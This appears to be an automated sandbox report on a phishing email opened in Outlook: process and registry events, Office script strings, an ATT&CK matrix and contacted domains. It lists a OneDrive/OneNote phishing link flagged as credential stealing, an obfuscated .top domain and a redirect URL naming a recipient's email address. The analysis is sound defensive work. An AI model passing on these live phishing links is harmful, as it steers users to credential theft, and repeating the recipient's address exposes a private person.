Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source:	Binary string: B.interval),this.pDb=!0,this.khe=new Date,so.show(Yc.a.eci),Jk.tSe()))}eo(B,X,sa){Array.add(this.bR,new Bv.a(!0,B,X,sa));zc.App.hv.MS()}forceOutbound(){}bYa(){return 4!==this._state}QJa(){1===this._state?this.$0a():this.ic&&2===this.ic.status&&(this.BZ(),this.gO.execute(B=>{B.wbb();B.uja();B.DUa()}))}get buf(){return!0}$0a(){var B=this.Jb.fileId?In.a.fmd(this.Jb.ei,"",this.Jb.km):In.a.fmd(wb.AFrameworkApplication.uo,zc.App.vgb,null),X=wb.AFrameworkApplication.J;B.ForceTransform=Ce.WoncaApp.xpc;B.IsNewFile= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: "RetryOnFailure";break;case 0:wb.AFrameworkApplication.oja.RetryReason="None";break;case 4:wb.AFrameworkApplication.oja.RetryReason="RedirectedClusterOnServer"}}gBf(){wb.AFrameworkApplication.oja.RetryStartTime=0<this.Acc?this.nCe.getTime():0;wb.AFrameworkApplication.oja.RetryCountWhileParsing=this.Acc;this.ufi(this.d9a);this.a_i()}a_i(){this.Acc=this.d9a=0}fv(B){this._state=4;B\|\|this.pDb\|\|Jk.tSe()}Mc(B,X,sa,La,eb,lb,Nb,fc=!1){wb.AFrameworkApplication.oja.BootFailed=!0;var mc={};mc.ErrorCode=B;mc.Message= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: !1;let va=0;ca.FW&&(pa=ca.ZA.Cla(V));this.UVf(V,xa,!1);var ra=V.cpBegin;V=V.node;this.ajj(la.a.Fe(V,ra+1));xa=V.pdb(ra);Ka=Ka(xa);xa.blob=Ka;if(ca.YHd&&6===xa.blob.zj){if(0<ra){const wa=V.Ba;va=wa.uXa(ra);0<=va-1&&(ra=wa.K(va-1),xa.$a=new ua.a(xa,ra.$a?ra.$a.fi:u.a.nil),!ca.FW&&ra.hyperlink&&this.Qe.cG(xa.$a))}ca.FW&&(pa?xa.Yk&&(xa.Yk=!1,V.Ba.K(va+1).Yk=!0):xa.$a&&xa.$a.cache.Xr&&this.Qe.cG(xa.$a))}if(D.a.instance.K(57))for(V.lq(),pa=Ka.v8,xa.$a&&pa--,V.wordRunProperties.JYa(Math.max(0,Ka.ef-1),2, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: this.ow.YD&&(ae.a.instance.K(58)&&this.yQ!==B.Cells.length-1&&(La.yb.enabled=0),this.j$f(La),this.ow=null,this.yQ++);sa=Jk.v9f(X.getTime());1>sa&&(sa=1);if(this.ow\|\|Jk.Xfa(sa)){this.gX+=sa;B=wb.AFrameworkApplication.J.vb("MaxBootDeserializationTimeInMs",0);if(0<B&&this.gX>B)return this.Mc(Yc.a.pzf,CommonUiStrings.CannotOpenFile,!1,!0,!1,null,null),this.Aw.dispose(),!1;this.setActive();return!1}}return!0}pFi(){if(this.pDb)this.KAf();else if(2!==this.ic.statusCode\|\|Yo.a.Fva(this.ic.Qm))this.hhh();else{var B= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: case 2:a=Ed.a.Hib}return this.Jj.ja(a,0)}j9i(a){this.Jj.setValue(qs.uRd,a);this.xM()}Hhb(){return this.Jj.ja(qs.uRd,!1)}S3h(){return this.Jj.Oa(qs.uRd)}$2h(){return gc.a.instance.K(13)?this.Jj.Oa(ec.a.Yr)\|\|this.Jj.Oa(Ed.a.Gib)\|\|this.Jj.Oa(Ed.a.Hib):this.Jj.Oa(ec.a.Yr)}xM(){if(ca.a.Mob){var a=Gf.a.instance.Na.Ra.Ga,c=a.node;if(c===this.Maa)this.Maa.rm(16,!0);else{this.Maa=c;c=this.Maa.Ofa();try{this.Maa.pdb(a.cpBegin).UY=!0}finally{c&&c.dispose()}}}}IVi(){if(ca.a.Mob&&this.Maa){var a=0,c=this.Maa.Ofa(); source: chromecache_303.7.dr, chromecache_371.7.dr
Source:	Binary string: sa,La,eb,lb,Nb,fc=null,mc=null,$c=0){super();this.nCe=this.khe=this.aF=this.vi=this.rx=this.nX=this.qh=this.Aw=null;this.gX=this.yQ=0;this.ow=null;this.bR=[];this.Jpe=null;this.d9a=this.Acc=0;this.pDb=this.Fpe=!1;this.pBa=null;this.lia=0;this.va=new hh.a;this.vS=null;this.Jb=B;this.aha=X;this.Ia=sa;this.gO=La;this.Ir=eb;this.S5b=fc;this.cac=Nb;zc.App.hv.register(this);this.bob=!0;this.iU="GraphSpaceRootReplicator";lb&&""!==lb&&(this.iU+="_"+lb);0<$c&&(mc\|\|(mc=zf.TaskManager.instance),mc.Fb(new Zc.a(3, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: BE=H(63763);class Iv{constructor(b){this.fc=b;this.tXc=new Hv.a}qgc(b,e,m,I,U=null,ka=null,Ia=null){b=b.pdb(e);b.li\|\|(b.li=new AE.a(b));b.li.add(new pr(b,m,I,U,ka,Ia));b.isFromErrorRangeSplit=!0}GUf(b){return b.oc&&b.oc.li&&b.oc.li.lXb(e=>e===b,[b.type])?!0:!1}FVi(b,e){if(b.type===e.type&&b.te&&!e.te&&b.oc&&b.oc.li&&b.oc.li.contains(b)&&e.oc&&e.oc.li&&e.oc.li.contains(e)){var m=[b.type];b.oc.li.lXb(I=>I===b,m);e.oc.li.lXb(I=>I===e,m)}}Wyj(b,e,m){if(!e)return!1;m=new Tz.a([m]);for(let I=0;I<b.length;I++){const U= source: chromecache_273.7.dr
Source:	Binary string: 1,1E3*$c,vd=>{this.uDg(vd)},132)))}get IBd(){return this.Jpe\|\|(this.Jpe=ib.a.instance.resolve("Wonca.IGraphSpaceRootReplicatorErrorHandler"))}dIg(B){this.va.addHandler(Jk.nwd,B)}get O1(){return 4===this._state?super.O1:1}get eK(){return this.iU}uDg(B){4===this._state\|\|this.pDb\|\|(this.qh?vb.ULS.sendTraceTag(41821144,338,15,"GetCells still processing response when abort call came after {0} ms. Not aborting.",B.interval):(vb.ULS.sendTraceTag(41821145,338,15,"GetCells aborting boot after it did not complete in {0} ms.", source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: X);fr.a.UDb("InitializeLocalCobalt",B.InitializeLocalCobaltStartTime,B.InitializeLocalCobaltEndTime,X);this.Ir.Ac("ServerData",X)}}BZ(){wb.AFrameworkApplication.J.Z("RefactorParseServerResponseIsEnabled")?this.pFi():this.oFi()}oFi(){if(this.pDb)this.KAf();else if(2!==this.ic.statusCode\|\|Yo.a.Fva(this.ic.Qm)){if(!(wb.AFrameworkApplication.Uf\|\|ae.a.instance.K(58)&&zc.App.GIf)){var B={["RetryCount"]:this.lia,["StatusCode"]:this.ic.statusCode,["HttpStatus"]:this.ic.httpStatusCode.toString(),["HasResponseObjects"]:!Yo.a.Fva(this.ic.Qm)}; source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: sa,2,fc),$c.hyperlink=null,eb=mc,La=!0;else if(La&&$c.Yk){this.Ind(B,$c,sa,2,fc);$c.Yk=!1;lb=$c.cp;Nb=mc;break}La&&$c.$a&&this.Cc.cG($c.$a)}sa=ad.ParagraphReader.text(B).substring(X.oc.cp,lb);this.fc.replaceTextRange(bi.a.createTextRange(B,X.oc.cp,lb),sa,!0,!1);for(X=eb;X<=Nb;)eb=B.Ba.K(X++),lb=B.pdb(eb.cp+sa.length),eb.$a&&(lb.$a=eb.$a.ld(lb));B.lq()}flc(B,X,sa){sa.wordRunProperties.Euc(X?B-1:B,2);ae.a.instance.K(57)&&(sa.wordRunProperties.EP.W(B,Nk.CharacterPropertiesEditor.u8),sa.wordRunProperties.yZ.W(B, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: this.i3f(ha);da.a.Keb().then(ia=>{ia.update(ha);return null})}i3f(ha){const {AFrameworkApplication:ia}=d(40343);this.nVc=ha;if(ia.fa){ia.Hmc();ia.fa.lJ(!1);const Y={};Y.activeDivZIndex=ia.fa.dY;ha.dialogHostProperties=Y}ha.dialogButtonsOption=void 0!==ha.dialogButtonsOption&&null!==ha.dialogButtonsOption?ha.dialogButtonsOption:this.lc;ha=this.PDb(1,ha);ha=this.PDb(2,ha);ha=this.PDb(3,ha);ha=this.PDb(4,ha);ha=this.PDb(0,ha);ha.defaultExecutionButton=ha.defaultExecutionButton\|\|this.c6a;ha.hideCloseButton= source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: Ga):Va.end<hb.end?Ga++:r++}return R}mJe(r,R){let ja=!1;for(const Ga of R){R=Ga.errorDetails;ja=1===R.proofingType\|\|ja;let Va=r.pdb(Ga.begin);Va.Sm=new Jd(Va,R);Va.isFromErrorRangeSplit=!0;Va=r.pdb(Ga.end);Va.UJ=!0;Va.isFromErrorRangeSplit=!0}ja&&(r.SPb=!1)}uUf(r,R){if(!Lf.a.fh(R)){r=r.Ba;for(const ja of R){R=r.Cz(ja.begin);const Ga=r.Cz(ja.end);R&&R.Sm&&Ga&&Ga.UJ?(R.Sm=null,Ga.UJ=!1):(R=String.format("Could not find and remove ErrorRange from CHPs. Cp Begin: {0}, Cp End: {1}",ja.begin,ja.end),la.ULS.sendTraceTag(37532355, source: chromecache_238.7.dr, chromecache_288.7.dr
Source:	Binary string: rb,Mb){2===Mb&&this.BM(!0,"OnDictationTimeout");return 32}Q9f(){this.uCb\|\|(this.uCb=!0,this.lw.isVisible()?(this.snc("RibbonClicked"),this.uCb=!1):this.showFloatie(),this.yNc())}showFloatie(Wa=!0){na.ULS.sendTraceTag(573190859,394,50,"Show dictation floatie triggered");this.lw.showFloatie((new S.a(this.Wb.KA)).displayName).then(()=>{this.i6a&&(this.i6a.aLc(),this.Wb.dSb=new Date,this.Wb.Pdb\|\|(this.Wb.Pdb=new Date));0===this.IG.Dz()&&(Wa?this.QKa():this.lw&&this.lw.vHf(),this.uCb=!1);this.Wb.$Pb&& source: chromecache_273.7.dr
Source:	Binary string: void 0!==this.Wb.Pdb&&null!==this.Wb.Pdb&&Array.add(this.qf.dataFields,{name:"FirstSeen",string:this.Wb.Pdb.toISOString()});void 0!==this.Wb.dSb&&null!==this.Wb.dSb&&Array.add(this.qf.dataFields,{name:"LastSeen",string:this.Wb.dSb.toISOString()})}onFinalResultAnnotationResponse(b,e,m){b=b+this.xUc-(this.Q7c+(e+m)/1E4);this.Qbd+=b;this.J3c<b&&(this.J3c=b);this.Y3c>b&&(this.Y3c=b)}onPartialResultAnnotationResponse(b,e,m){b=b+this.xUc-(this.Q7c+(e+m)/1E4);this.Tbd+=b;this.M3c<b&&(this.M3c=b);this.Z3c> source: chromecache_273.7.dr

Persistence and Installation Behavior

AI detected potential phishing Email

Source: Email

LLM: Detected potential phishing email: The email uses a suspicious URL shortener or redirection service

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: chromecache_428.7.dr, chromecache_255.7.dr, chromecache_412.7.dr, chromecache_227.7.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_428.7.dr, chromecache_255.7.dr, chromecache_412.7.dr, chromecache_227.7.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	13 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://onedrive.live.com/view?id=A2C259BD24DEB977!1517&resid=A2C259BD24DEB977!1517&authkey=!AMV6sdjMIZf95vs&wd=target(Quick%20Notes.one\|8266a05f-045a-4cc0-bddc-4debc90069bb/Notera%20H6TYD9J4rDFDFECZC-HUYW\|a949d04d-b4e2-4509-b99f-d04546199b7b/)&wdorigin=NavigationUrl&wdo=2&cid=a2c259bd24deb977	100%	SlashNext	Credential Stealing type: Phishing & Social usering
https://useraudit.o365auditrealtimeingestion.manage.office.com	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://lookup.onenote.com/lookup/geolocation/v1	0%	URL Reputation	safe
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
http://www.opensource.org/licenses/mit-license.php	0%	URL Reputation	safe
https://www.yammer.com	0%	URL Reputation	safe
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	0%	URL Reputation	safe
https://messagebroker.mobile.m365.svc.cloud.microsoft	0%	URL Reputation	safe
https://edge.skype.com/registrar/prod	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://tasks.office.com	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://edge.skype.com/rps	0%	URL Reputation	safe
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://graph.windows.net	0%	URL Reputation	safe
https://consent.config.office.com/consentcheckin/v1.0/consents	0%	URL Reputation	safe
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	0%	URL Reputation	safe
http://weather.service.msn.com/data.aspx	0%	URL Reputation	safe
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	0%	URL Reputation	safe
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	0%	URL Reputation	safe
https://pushchannel.1drv.ms	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://outlook.office365.com/api/v1.0/me/Activities	0%	URL Reputation	safe
https://clients.config.office.net/user/v1.0/android/policies	0%	URL Reputation	safe
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	0%	URL Reputation	safe
https://reactjs.org/link/react-polyfills	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://substrate.office.com/search/api/v1/SearchHistory	0%	URL Reputation	safe
https://service.powerapps.com	0%	URL Reputation	safe
https://devnull.onenote.com	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://visio.uservoice.com/forums/368202-visio-on-devices	0%	URL Reputation	safe
http://hammerjs.github.io/	0%	URL Reputation	safe
https://augloop.office.com	0%	URL Reputation	safe
https://api.diagnosticssdf.office.com/v2/file	0%	URL Reputation	safe
https://officepyservice.office.net/	0%	URL Reputation	safe
https://wus2.pagecontentsync.	0%	URL Reputation	safe
https://cortana.ai/api	0%	URL Reputation	safe
https://api.diagnosticssdf.office.com	0%	URL Reputation	safe
https://api.addins.omex.office.net/appinfo/query	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dual-spov-0006.spov-msedge.net	13.107.137.11	true	false	unknown
wac-0003.wac-msedge.net	52.108.9.12	true	false	unknown
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	unknown
code.jquery.com	151.101.194.137	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.186.100	true	false	unknown
ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top	172.67.167.62	true	false	unknown
wac-0003.wac-dc-msedge.net	52.108.10.12	true	false	unknown
clickprotection.skolverket.se	193.235.52.43	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
fa000000012.resources.office.net	unknown	unknown	false	unknown
fa000000111.resources.office.net	unknown	unknown	false	unknown
fa000000128.resources.office.net	unknown	unknown	false	unknown
augloop.office.com	unknown	unknown	false	unknown
ajax.aspnetcdn.com	unknown	unknown	false	unknown
storage.live.com	unknown	unknown	false	unknown
m365cdn.nel.measure.office.net	unknown	unknown	false	unknown
fa000000110.resources.office.net	unknown	unknown	false	unknown
onenoteonline.nel.measure.office.net	unknown	unknown	false	unknown
common.online.office.com	unknown	unknown	false	unknown
klickskydd.skolverket.org	unknown	unknown	false	unknown
fa000000138.resources.office.net	unknown	unknown	false	unknown
onedrive.live.com	unknown	unknown	false	unknown
westeurope-pd02.augloop.office.com	unknown	unknown	false	unknown
spoprod-a.akamaihd.net	unknown	unknown	false	unknown
www.onenote.com	unknown	unknown	false	unknown
messaging.engagement.office.com	unknown	unknown	false	unknown
fa000000096.resources.office.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/2svg/K14fhQc0UDRomo9	false	unknown
https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	false	unknown
